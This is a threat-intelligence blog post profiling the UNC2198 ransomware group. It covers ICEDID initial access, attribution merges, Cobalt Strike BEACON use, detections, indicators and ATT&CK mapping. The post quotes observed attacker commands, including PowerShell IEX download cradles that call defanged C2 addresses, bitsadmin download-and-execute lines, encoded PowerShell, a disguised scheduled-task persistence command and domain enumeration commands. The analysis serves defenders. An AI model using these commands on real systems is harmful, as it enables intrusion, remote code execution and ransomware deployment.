So Unchill: Melting UNC2198 ICEDID to Ransomware OperationsMandiant Advanced Practices (AP) closely tracks the shifting tactics,
techniques, and procedures (TTPs) of financially motivated groups who
severely disrupt organizations with ransomware. In May 2020, FireEye
released a href="/content/fireeye-www/en_US/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html">blog
post detailing intrusion tradecraft associated with the deployment
of MAZE. As of publishing this post, we track 11 distinct groups
that have deployed MAZE ransomware. At the close of 2020, we noticed a
shift in a subset of these groups that have started to deploy EGREGOR
ransomware in favor of MAZE ransomware following access acquired from
ICEDID infections.
Since its discovery in 2017 as a banking trojan, ICEDID evolved into
a pernicious point of entry for financially motivated actors to
conduct intrusion operations. In earlier years, ICEDID was deployed to
primarily target banking credentials. In 2020 we observed adversaries
using ICEDID more explicitly as a tool to enable access to impacted
networks, and in many cases this was leading to the use of common
post-exploitation frameworks and ultimately the deployment of
ransomware. This blog post shines a heat lamp on the latest tradecraft
of UNC2198, who used ICEDID infections to deploy MAZE or
EGREGOR ransomware.
Building an Igloo: ICEDID Infections
Separate phases of intrusions are attributed to different
uncategorized (UNC) groups when discrete operations such as obtaining
access are not part of a contiguous operation. Pure “access
operations” establish remote access into a target environment for
follow on operations actioned by a separate group. A backdoor deployed
to establish an initial foothold for another group is an example of an
access operation.
Between July and December 2020, an ICEDID phishing infection chain
consisted of a multi-stage process involving MOUSEISLAND and
PHOTOLOADER (Figure 1).
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/unc2198-icedid/fig1.png" alt="" />
Figure 1: Example UNC2420 MOUSEISLAND to
ICEDID Infection Chain
MOUSEISLAND is a Microsoft Word macro downloader used as the first
infection stage and is delivered inside a password-protected zip
attached to a phishing email (Figure 2). Based on our intrusion data
from responding to ICEDID related incidents, the secondary payload
delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an
intermediary downloader to install ICEDID. Mandiant attributes the
MOUSEISLAND distribution of PHOTOLOADER and other payloads to href="https://advantage.mandiant.com/actors/threat-actor--843f8aa0-2305-579a-a08a-f2f88f7815d1">UNC2420,
a distribution threat cluster created by Mandiant’s Threat Pursuit
team. UNC2420 activity shares overlaps with the publicly reported
nomenclature of “Shathak” or “TA551”.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/unc2198-icedid/fig2.png" alt="" />
Figure 2: UNC2420 MOUSEISLAND Phishing Email
Ice, Ice, BEACON...UNC2198
Although analysis is always ongoing, at the time of publishing this
blog post, Mandiant tracks multiple distinct threat clusters (UNC
groups) of various sizes that have used ICEDID as a foothold to enable
intrusion operations. The most prominent of these threat clusters is
href="https://advantage.mandiant.com/actors/threat-actor--6fd29c05-9c32-578a-83d8-051f89ebf30b">UNC2198,
a group that has targeted organizations in North America across a
breadth of industries. In at least five cases, UNC2198 acquired
initial access from UNC2420 MOUSEISLAND to conduct intrusion
operations. In 2020, Mandiant attributed nine separate intrusions to
UNC2198. UNC2198’s objective is to monetize their intrusions by
compromising victim networks with ransomware. In July 2020,
Mandiant observed UNC2198 leverage network access provided by an
ICEDID infection to encrypt an environment with MAZE ransomware. As
the year progressed into October and November, we observed UNC2198
shift from deploying MAZE to using EGREGOR ransomware during another
Incident Response engagement. Like MAZE, EGREGOR is operated using an
href="https://advantage.mandiant.com/reports/20-00022696">affiliate
model, where affiliates who deploy EGREGOR are provided with
proceeds following successful encryption and extortion for payment.
The UNC2198 cluster expanded over the course of more than six
months. Mandiant’s href="/content/fireeye-www/en_US/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html">December
2020 blog post on UNCs described the analytical tradecraft we
use to merge and graduate clusters of activity. Merging UNCs is a
substantial analytical practice in which indicators and tradecraft
attributed to one group are scrutinized against another. Two former
UNCs that shared similar modus operandi were eventually merged into UNC2198.
The Snowball Effect of Attribution
AP created UNC2198 based on a single intrusion in June 2020
involving ICEDID, BEACON, SYSTEMBC and WINDARC. UNC2198 compromised 32
systems in 26 hours during this incident; however, ransomware was not
deployed. Throughout July 2020 we attributed three intrusions to
UNC2198 from Incident Response engagements, including one resulting in
the deployment of MAZE ransomware. In October 2020, a slew of activity
at both Incident Response engagements and Managed Defense clients
resulted in the creation of two new UNC groups, and another incident
attributed to UNC2198.
One of the new UNC groups created in October 2020 was given the
designation UNC2374. UNC2374 began as its own distinct cluster where
BEACON, WINDARC, and SYSTEMBC were observed during an incident at a
Managed Defense customer. Initial similarities in tooling did not
constitute a strong enough link to merge UNC2374 with UNC2198 yet.
Two and a half months following the creation of UNC2374, we amassed
enough data points to merge UNC2374 into UNC2198. Some of the data
points used in merging UNC2374 into UNC2198 include:
- UNC2198 and UNC2374 Cobalt Strike Team Servers used
self-signed certificates with the following subject on TCP port
25055:
C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com |
- UNC2198 and UNC2374 deployed WINDARC malware to identical file
paths: style="font-size: 12.0px;">%APPDATA%\teamviewers\msi.dll
- The same code signing certificate used to sign an UNC2198 BEACON
loader was used to sign two UNC2374 SYSTEMBC tunneler payloads.
- UNC2374 and UNC2198 BEACON C2 servers were accessed by the same
victim system within a 10-minute time window during intrusion
operations.
The other UNC group created in October 2020 was given the
designation UNC2414. Three separate intrusions were attributed to
UNC2414, and as the cluster grew, we surfaced similarities between
UNC2414 and UNC2198. A subset of the data points used to merge UNC2414
into UNC2198 include:
- UNC2198 and UNC2414 BEACON servers used self-signed
certificates using the following subject on TCP port 25055:
C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com |
- UNC2198 and UNC2414 installed BEACON as
C:\Windows\int32.dll - UNC2198 and UNC2414 installed the
RCLONE utility as C:\Perflogs\rclone.exe - UNC2198 and
UNC2414 were proven to be financially motivated actors that had
leveraged ICEDID as initial access: - UNC2198 had deployed
MAZE - UNC2414 had deployed EGREGOR
The merge between UNC2198 and UNC2414 was significant because it
revealed UNC2198 has access to EGREGOR ransomware. The timing of the
EGREGOR usage is also consistent with MAZE ransomware shutting down as
href="https://advantage.mandiant.com/reports/20-00022696">reported
by Mandiant Intelligence. Figure 3 depicts the timeline of related
intrusions and merges into UNC2198.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/unc2198-icedid/fig3.png" alt="" />
Figure 3: UNC2198 timeline
UNC2198 Intrusion Flow: After Initial Access
Expanding the UNC2198 cluster through multiple intrusions and merges
with other UNC groups highlights the range of TTPs employed. We have
pulled out some key data from all our UNC2198 intrusions to illustrate
an amalgamation of capabilities used by the threat actor.
Establish Foothold
After obtaining access, UNC2198 has deployed additional malware
using various techniques. For instance, UNC2198 used InnoSetup
droppers to install a WINDARC backdoor on the target host. UNC2198
also used BITS Jobs and remote PowerShell downloads to download
additional tools like SYSTEMBC for proxy and tunneler capabilities.
Example commands for download and execution are:
%COMSPEC% /C echo bitsadmin /transfer 257e http://<REDACTED>/<REDACTED>.exe %APPDATA%<REDACTED>.exe & %APPDATA%<REDACTED>.exe & del %APPDATA% <REDACTED>.exe ^> %SYSTEMDRIVE%\WINDOWS\Temp\FmpaXUHFennWxPIM.txt > \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat %COMSPEC% /C echo powershell.exe -nop -w hidden -c (new-object System.Net.WebClient).Downloadfile(http://<REDACTED>/<REDACTED>.exe, <REDACTED>.exe) ^> %SYSTEMDRIVE%\WINDOWS\Temp\AVaNbBXzKyxktAZI.txt > \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat
|
UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER,
KOADIC, and PowerShell EMPIRE
offensive security tools during
this phase as well.
Offensive Security Tooling
UNC2198 has used offensive security tools similarly seen across many
threat actors. UNC2198 has used BEACON in roughly 90% of their
intrusions. UNC2198 installs and executes Cobalt Strike BEACON in a
variety of ways, including shellcode loaders using PowerShell scripts,
service executables, and DLLs. While the ways and means of using
BEACON are not inherently unique, there are still aspects to
extrapolate that shed light on UNC2198 TTPs.
Focusing in on specific BEACON executables tells a different story
beyond the use of the tool itself. Aside from junk code and API calls,
UNC2198 BEACON and METERPRETER executables often exhibit unique
characteristics of malware packaging, including odd command-line
arguments visible within strings and upon execution via child processes:
cmd.exe /c echo TjsfoRdwOe=9931 & reg add HKCU\SOFTWARE\WIlumYjNSyHob /v xFCbJrNfgBNqRy /t REG_DWORD /d 3045 & exit cmd.exe /c echo ucQhymDRSRvq=1236 & reg add HKCU\\SOFTWARE\\YkUJvbgwtylk /v KYIaIoYxqwO /t REG_DWORD /d 9633 & exit cmd.exe /c set XlOLqhCejHbSNW=8300 & reg add HKCU\SOFTWARE\WaMgGneKhtgTTy /v LbmWADsevLywrkP /t REG_DWORD /d 3809 & exit |
These example commands are non-functional, as they do not modify or
alter payload execution.
Another technique involves installing BEACON using a file path
containing mixed Unicode-escaped and ASCII characters to evade detection:
Unicode Escaped | class="code">C:\ProgramData\S\u0443sH\u0435\u0430ls\T\u0430s\u0441host.exe
|
Unicode Unescaped | class="code">C:\ProgramData\SуsHеаls\Tаsсhost.exe
|
The executable was then executed by using a Scheduled Task named
shadowdev:
cmd.exe /c schtasks /create /sc minute /mo 1 /tn shadowdev /tr C:\\ProgramData\\S\u0443sH\u0435\u0430ls\\T\u0430s\u0441host.exe
|
While the previous examples are related to compiled executables,
UNC2198 has also used simple PowerShell download cradles to execute
Base64-encoded and compressed BEACON stagers in memory:
powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('hxxp://5.149.253[.]199:80/auth')) powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("hxxp://185.106.122[.]167:80/a")) powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://195.123.233[.]157:80/casino'))"
|
Discovery and Reconnaissance
UNC2198 has exhibited common TTPs seen across many threat groups
during discovery and reconnaissance activities. UNC2198 has used the
BloodHound active directory mapping utility during intrusions
from within the “C:\ProgramData” and “ class="code">C:\Temp” directories.
The following are collective examples of various commands executed
by UNC2198 over time to enumerate a compromised environment:
arp -a whoami /groups
whoami.exe /groups /fo csv whoami /all net user <Redacted> net groups "Domain Admins" /domain net group "Enterprise admins" /domain net group "local admins" /domain net localgroup "administrators" /domain nltest /domain_trusts nltest /dclist:< style="font-size: 12.0px;">Redacted> |
Lateral Movement and Privilege Escalation
UNC2198 has used Windows Remote Management and RDP to move laterally
between systems. UNC2198 has also performed remote execution of BEACON
service binaries on targeted systems to move laterally. UNC2198
launches SMB BEACON using PowerShell, executing command lines such as
the following:
C:\WINDOWS\system32\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAB
bAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AH
MASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwA3ADIALw...<Truncated>
|
During one intrusion, UNC2198 used the SOURBITS privilege escalation
utility to execute files on a target system. SOURBITS is a packaged
exploit utility for href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0787">CVE-2020-0787,
which is a vulnerability that was disclosed in 2020 for Windows
Background Intelligent Transfer Service (BITS). SOURBITS
consists of code derived from a href="https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION">GitHub
Repository that is implemented as a command-line utility, which
can execute arbitrary files with elevated privileges. UNC2198 used
SOURBITS with the following components:
class="code">C:\Users\<User>\Downloads\runsysO.cr
C:\Users\<User>\Downloads\starterO.exe |
The file runsysO.cr is an XOR-encoded PE executable that
exploits CVE-2020-0787, and based on the target system's bitness, it
will drop one of two embedded SOURBITS payloads.
Data Theft, Ransomware Deployment and #TTR
Like other financially motivated threat actors, part of UNC2198’s
modus operandi in latter stages of intrusions involves the
exfiltration of hundreds of gigabytes of the victim organizations’
data before ransomware is installed. Specifically, UNC2198 has used
RCLONE, a command line utility used to synchronize cloud
storage, to aid in the exfiltration of sensitive data. In all observed
cases of data theft, RCLONE was used by UNC2198 from the
“C:\PerfLogs\rclone.exe” file path.
“Time-to-Ransom" (TTR) is the delta between
first-attributed access time and the time of ransomware
deployment. TTR serves as a useful gauge of how quickly an
organization needs to respond to stave off a threat actor’s successful
deployment of ransomware. TTR is not a perfect quantification, as
external factors such as an organization’s security posture can
drastically affect the measurement.
In this post, the TTR of UNC2198 is measured between ICEDID activity
to the deployment of ransomware. In July 2020, UNC2198 deployed MAZE
ransomware using PSEXEC, and the TTR was 5.5 days. In October 2020,
UNC2198 deployed EGREGOR ransomware using forced GPO updates, and the
TTR was 1.5 days.
Looking Forward
Threat actors leveraging access obtained through mass malware
campaigns to deploy ransomware is a growing trend. The efficiency of
ransomware groups places a significant burden on defenders to rapidly
respond before ransomware deployment. As ransomware groups continue to
gain operational expertise through successful compromises, they will
continue to shorten their TTR while scaling their operations.
Understanding the TTPs fundamental to a specific operation like
UNC2198 provides an edge to defenders in their response efforts. Our
unparalleled understanding of groups like UNC2198 is translated into
href="/content/fireeye-www/en_US/mandiant/threat-intelligence.html">Mandiant
Advantage. Accessing our holdings in Mandiant Advantage aids
defenders in recognizing TTPs used by threat actors, assessing
organizational risk, and taking action. Initial investments made into
rapidly assessing a group’s modus operandi pays dividends when they
inevitably evolve and swap out components of their toolset. Whether it
be MAZE or EGREGOR, something icy or hot, Advanced Practices will
continue to pursue these unchill threat actors.
Acknowledgements
Thank you to Dan Perez, Andrew Thompson, Nick Richard, Cian Lynch
and Jeremy Kennelly for technical review of this content. In addition,
thank you to Mandiant frontline responders for harvesting the valuable
intrusion data that enables our research.
Appendix: Malware Families
href="https://advantage.mandiant.com/malware/malware--badb174b-5bbb-51cb-91de-615dd4a54198">PHOTOLOADER
is a downloader that has been observed to download ICEDID. It makes an
HTTP request for a fake image file, which is RC4 decrypted to provide
the final payload. Host information is sent to the command and control
(C2) via HTTP cookies. Samples have been observed to contain an
embedded C2 configuration that contain the real C2 with a number of
non-malicious domains. The non-malicious domains are contacted in
addition to the real C2.
href="https://advantage.mandiant.com/malware/malware--5f584191-7903-55f9-8a3d-c1b4528e18be">WINDARC
is a backdoor that hijacks the execution of TeamViewer to perform C2
communication. It supports plugins and accepts several backdoor
commands. The commands include interacting with the TeamViewer tool,
starting a reverse shell, loading new plugins, downloading and
executing files, and modifying configuration settings.
href="https://advantage.mandiant.com/malware/malware--17784955-af55-5462-877f-feaba0c8d80a">SYSTEMBC
is a proxy malware that beacons to its C2 and opens new proxy
connections between the C2 and remote hosts as indicated by the C2.
Proxied communications are encrypted with RC4. The malware receives
commands via HTTP and creates new proxy connections as directed.
Underground sales advertisements refer to the software as a “socks5
backconnect system”. The malware is typically used to hide the
malicious traffic associated with other malware.
Appendix: Detecting the Techniques
FireEye security solutions detect these threats across email,
endpoint, and network levels. The following is a snapshot of existing
detections related to activity outlined in this blog post.
Platform | Detection Name |
FireEye Network Security |
- Downloader.Macro.MOUSEISLAND
- Downloader.Win.PHOTOLOADER
- Trojan.PHOTOLOADER
- Downloader.IcedID
- Trojan.IcedID
- Malicious.SSL.IcedID
- Malicious.SSL.IcedIdCert
- Trojan.Malicious.Certificate
- Backdoor.BEACON
- Trojan.Generic
- Trojan.CobaltStrike
|
FireEye Endpoint Security | Real-Time (IOC) - BLOODHOUND ATTACK PATH
MAPPING (UTILITY) - BLOODHOUND ATTACK PATH MAPPING A
(UTILITY) - COBALT STRIKE (BACKDOOR)
- COBALT
STRIKE DEFAULT DLL EXPORT (BACKDOOR) - COBALT STRIKE
NAMED PIPE ECHO (BACKDOOR) - EGREGOR RANSOMWARE
(FAMILY) - ICEDID (FAMILY)
- MAZE RANSOMWARE
(FAMILY) - MAZE RANSOMWARE A (FAMILY)
- METASPLOIT SERVICE ABUSE (UTILITY)
- MOUSEISLAND
(DOWNLOADER) - MOUSEISLAND A (DOWNLOADER)
- MOUSEISLAND B (DOWNLOADER)
- POWERSHELL
DOWNLOADER (METHODOLOGY) - POWERSHELL DOWNLOADER D
(METHODOLOGY) - SCHTASK CREATION FROM PROGRAMDATA
(COLLECTION) - SUSPICIOUS BITSADMIN USAGE A
(METHODOLOGY) - SUSPICIOUS POWERSHELL USAGE
(METHODOLOGY) - WMIC SHADOWCOPY DELETE
(METHODOLOGY) Malware Protection (AV/MG) - SYSTEMBC
- Trojan.EmotetU.Gen.*
- Trojan.Mint.Zamg.O
- Generic.mg.*
- ICEID
- Gen:Variant.Razy.*
- Generic.mg.*
- BEACON
- Gen:Trojan.Heur.TP.TGW@bug909di
- Gen:Variant.Bulz.1217
- Trojan.GenericKD.34797730
- Generic.mg.*
|
Appendix: Indicators
| valign="top">95b78f4d3602aeea4f7a33c9f1b49a97
| width="312" valign="top">SYSTEMBC
| valign="top">0378897e4ec1d1ee4637cff110635141
| width="312" valign="top">SYSTEMBC
| valign="top">c803200ad4b9f91659e58f0617f0dafa
| width="312" valign="top">SYSTEMBC
| valign="top">ad4d445091a3b66af765a1d653fd1eb7
| width="312" valign="top">SYSTEMBC
| valign="top">9ecf25b1e9be0b20822fe25269fa5d02
| width="312" valign="top">SYSTEMBC
| valign="top">e319f5a8fe496c0c8247e27c3469b20d
| width="312" valign="top">SYSTEMBC
| valign="top">a8a7059278d82ce55949168fcd1ddde4
| width="312" valign="top">SYSTEMBC
| valign="top">aea530f8a0645419ce0abe1bf2dc1584
| width="312" valign="top">SYSTEMBC
| valign="top">3098fbc98e90d91805717d7a4f946c27
| width="312" valign="top">SYSTEMBC
45.141.84.212:4132 | | width="312" valign="top">SYSTEMBC
45.141.84.223:4132 | | width="312" valign="top">SYSTEMBC
79.141.166.158:4124 | | width="312" valign="top">SYSTEMBC
149.28.201.253:4114 | | width="312" valign="top">SYSTEMBC
193.34.167.34:80 | | width="312" valign="top">BEACON
195.123.240.219:80 | | width="312" valign="top">BEACON
23.227.193.167:80 | | width="312" valign="top">BEACON
5.149.253.199:80 | | width="312" valign="top">BEACON
| valign="top">e124cd26fcce258addc85d7f010655ea
| width="312" valign="top">BEACON
| valign="top">7ae990c12bf5228b6d1b90d40ad0a79f
| width="312" valign="top">BEACON
| valign="top">3eb552ede658ee77ee4631d35eac6b43
| width="312" valign="top">BEACON
| valign="top">c188c6145202b65a941c41e7ff2c9afd
| width="312" valign="top">BEACON
| valign="top">2f43055df845742d137a18b347f335a5
| width="312" valign="top">BEACON
| valign="top">87dc37e0edb39c077c4d4d8f1451402c
| width="312" valign="top">ICEDID
| valign="top">1efababd1d6bd869f005f92799113f42
| width="312" valign="top">ICEDID
| valign="top">a64e7dd557e7eab3513c9a5f31003e68
| width="312" valign="top">ICEDID
| valign="top">9760913fb7948f2983831d71a533a650
| width="312" valign="top">ICEDID
| valign="top">14467102f8aa0a0d95d0f3c0ce5f0b59
| width="312" valign="top">ICEDID
colombosuede.club | | width="312" valign="top">ICEDID
colosssueded.top | | width="312" valign="top">ICEDID
golddisco.top | | width="312" valign="top">ICEDID
june85.cyou | | width="312" valign="top">ICEDID
Appendix: Mandiant Security Validation Actions
Organizations can validate their security controls against more than
60 actions with href="/content/fireeye-www/en_US/mandiant/security-validation.html">Mandiant
Security Validation.
VID | Name |
A101-509 | | width="526" valign="bottom">Phishing Email - Malicious
Attachment, MOUSEISLAND, Macro Based Downloader
A150-326 | | width="526" valign="bottom">Malicious File Transfer -
MOUSEISLAND, Download, Variant #1
A150-433 | | width="526" valign="bottom">Malicious File Transfer -
MOUSEISLAND, Download, Variant #2
A101-282 | | width="526" valign="bottom">Malicious File Transfer -
MOUSEISLAND Downloader, Download
A104-632 | | width="526" valign="bottom">Protected Theater - MOUSEISLAND
Downloader, Execution
A101-266 | | width="526" valign="bottom">Command and Control -
MOUSEISLAND, HTTP GET Request for PHOTOLOADER
A101-280 | | width="526" valign="bottom">Malicious File Transfer -
PHOTOLOADER, Download
A101-263 | | width="526" valign="bottom">Command and Control -
PHOTOLOADER, DNS Query #1
A101-281 | | width="526" valign="bottom">Malicious File Transfer - ICEDID
Stage 3, Download
A101-279 | | width="526" valign="bottom">Malicious File Transfer - ICEDID
Final Payload, Download
A101-265 | | width="526" valign="bottom">Command and Control - ICEDID, DNS
Query #1
A101-264 | | width="526" valign="bottom">Command and Control - ICEDID, DNS
Query #2
A101-037 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #1
A101-038 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #2
A101-039 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #3
A101-040 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #4
A101-041 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #5
A101-042 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #6
A101-043 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #7
A101-044 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #8
A101-045 | | width="526" valign="bottom">Malicious File Transfer - MAZE,
Download, Variant #9
A100-878 | | width="526" valign="bottom">Command and Control - MAZE
Ransomware, C2 Check-in
A101-030 | | width="526" valign="bottom">Command and Control - MAZE
Ransomware, C2 Beacon, Variant #1
A101-031 | | width="526" valign="bottom">Command and Control - MAZE
Ransomware, C2 Beacon, Variant #2
A101-032 | | width="526" valign="bottom">Command and Control - MAZE
Ransomware, C2 Beacon, Variant #3
A104-734 | | width="526" valign="bottom">Protected Theater - MAZE, PsExec
Execution
A104-487 | | width="526" valign="bottom">Protected Theater - MAZE
Ransomware, Encoded PowerShell Execution
A104-485 | | width="526" valign="bottom">Protected Theater - MAZE
Ransomware Execution, Variant #1
A104-486 | | width="526" valign="bottom">Protected Theater - MAZE
Ransomware Execution, Variant #2
A104-491 | | width="526" valign="bottom">Host CLI - MAZE, Create
Target.lnk
A104-494 | | width="526" valign="bottom">Host CLI - MAZE, Dropping
Ransomware Note Burn Directory
A104-495 | | width="526" valign="bottom">Host CLI - MAZE, Traversing
Directories and Dropping Ransomware Note, DECRYPT-FILES.html
Variant
A104-496 | | width="526" valign="bottom">Host CLI - MAZE, Traversing
Directories and Dropping Ransomware Note, DECRYPT-FILES.txt
Variant
A104-498 | | width="526" valign="bottom">Host CLI - MAZE, Desktop
Wallpaper Ransomware Message
A150-668 | | width="526" valign="bottom">Malicious File Transfer -
EGREGOR, Download
A101-460 | | width="526" valign="bottom">Command and Control - EGREGOR,
GET DLL Payload
A150-675 | | width="526" valign="bottom">Protected Theater - EGREGOR,
Execution, Variant #1
A101-271 | | width="526" valign="bottom">Malicious File Transfer - BEACON,
Download, Variant #1
A150-610 | | width="526" valign="bottom">Malicious File Transfer - BEACON,
Download
A150-609 | | width="526" valign="bottom">Command and Control - BEACON,
Check-in
A104-732 | | width="526" valign="bottom">Protected Theater - BEACON, Mixed
Unicode-Escaped and ASCII Characters Execution
A101-514 | | width="526" valign="bottom">Malicious File Transfer -
WINDARC, Download, Variant #1
A100-072 | | width="526" valign="bottom">Malicious File Transfer -
SYSTEMBC Proxy, Download
A100-886 | | width="526" valign="bottom">Malicious File Transfer -
Rclone.exe, Download
A100-880 | | width="526" valign="bottom">Malicious File Transfer -
Bloodhound Ingestor C Sharp Executable Variant, Download
A100-881 | | width="526" valign="bottom">Malicious File Transfer -
Bloodhound Ingestor C Sharp PowerShell Variant, Download
A100-882 | | width="526" valign="bottom">Malicious File Transfer -
Bloodhound Ingestor PowerShell Variant, Download
A100-877 | | width="526" valign="bottom">Active Directory - BloodHound,
CollectionMethod All
A101-513 | | width="526" valign="bottom">Malicious File Transfer -
SOURBITS, Download, Variant #1
A104-733 | | width="526" valign="bottom">Protected Theater -
CVE-2020-0787, Arbitrary File Move
A100-353 | | width="526" valign="bottom">Command and Control - KOADIC
Agent (mshta)
A100-355 | | width="526" valign="bottom">Command and Control - Multiband
Communication using KOADIC
A104-088 | | width="526" valign="bottom">Host CLI - Timestomp W/
PowerShell
A104-277 | | width="526" valign="bottom">Host CLI - EICAR COM File
Download via PowerShell
A104-281 | | width="526" valign="bottom">Host CLI - EICAR TXT File
Download via PowerShell
A104-664 | | width="526" valign="bottom">Host CLI - EICAR, Download with
PowerShell
A150-054 | | width="526" valign="bottom">Malicious File Transfer - EMPIRE,
Download
A100-327 | | width="526" valign="bottom">Command and Control - PowerShell
Empire Agent (http)
A100-328 | | width="526" valign="bottom">Lateral Movement, Execution -
PsExec
A100-498 | | width="526" valign="bottom">Scanning Activity - TCP Port Scan
for Open RDP
A100-502 | | width="526" valign="bottom">Scanning Activity - UDP Port Scan
for Open RDP
A100-316 | | width="526" valign="bottom">Lateral Movement - PSSession and
WinRM
A104-081 | | width="526" valign="bottom">Host CLI - Mshta
Appendix: UNC2198 MITRE ATT&CK Mapping
ATT&CK Tactic Category | Techniques |
Resource Development | | width="444" valign="top">Acquire Infrastructure
(T1583)
- Virtual Private Server
(T1583.003)
Develop Capabilities (T1587)
- Digital Certificates (T1587.003)
Obtain
Capabilities (T1588)
- Code Signing Certificates
(T1588.003) - Digital Certificates (T1588.004)
Initial Access | | width="444" valign="top">Phishing (T1566)
- Spearphishing Attachment (T1566.001)
External Remote Services (T1133)
Valid Accounts
(T1078)
Execution | | width="444" valign="top">Command and Scripting Interpreter
(T1059)
- PowerShell (T1059.001)
- Visual
Basic (T1059.005) - Windows Command Shell
(T1059.003)
Scheduled Task/Job (T1053)
- Scheduled Task (T1053.005)
System Services
(T1569)
- Service Execution (T1569.002)
User Execution (T1204)
- Malicious File
(T1204.002)
Windows Management Instrumentation
(T1047)
Persistence | | width="444" valign="top">External Remote Services (T1133)
Scheduled Task/Job (T1053)
- Scheduled Task
(T1053.005)
Valid Accounts (T1078)
Privilege Escalation | | width="444" valign="top">Process Injection (T1055)
Scheduled Task/Job (T1053)
- Scheduled Task
(T1053.005)
Valid Accounts (T1078)
Defense Evasion | | width="444" valign="top">Impair Defenses (T1562)
- Disable or Modify System Firewall (T1562.004)
- Disable or Modify Tools (T1562.001)
Indicator Removal on Host (T1070)
Indirect Command Execution
(T1202)
Modify Registry (T1112)
Obfuscated Files
or Information (T1027)
- Steganography
(T1027.003)
Process Injection (T1055)
Signed Binary Proxy Execution (T1218)
Subvert Trust Controls (T1553)
Valid Accounts
(T1078)
Virtualization/Sandbox Evasion (T1497)
Credential Access | | width="444" valign="top">OS Credential Dumping (T1003)
Discovery | | width="444" valign="top">Account Discovery (T1087)
- Local Account (T1087.001)
Domain Trust
Discovery (T1482)
File and Directory Discovery
(T1083)
Permission Groups Discovery (T1069)
System
Information Discovery (T1082)
System Network
Configuration Discovery (T1016)
System Owner/User
Discovery (T1033)
Virtualization/Sandbox Evasion
(T1497)
Lateral Movement | | width="444" valign="top">Remote Services (T1021)
- Remote Desktop Protocol (T1021.001)
- SMB/Windows
Admin Shares (T1021.002) - SSH (T1021.004)
Collection | | width="444" valign="top">Archive Collected Data (T1560)
- Archive via Utility (T1560.001)
Command and Control | | width="444" valign="top">Application Layer Protocol
(T1071)
- Web Protocols (T1071.001)
Encrypted Channel (T1573)
- Asymmetric
Cryptography (T1573.002)
Ingress Tool Transfer
(T1105)
Proxy (T1090)
- Multi-hop Proxy
(T1090.003)
Source:
So Unchill: Melting UNC2198 ICEDID to Ransomware Operations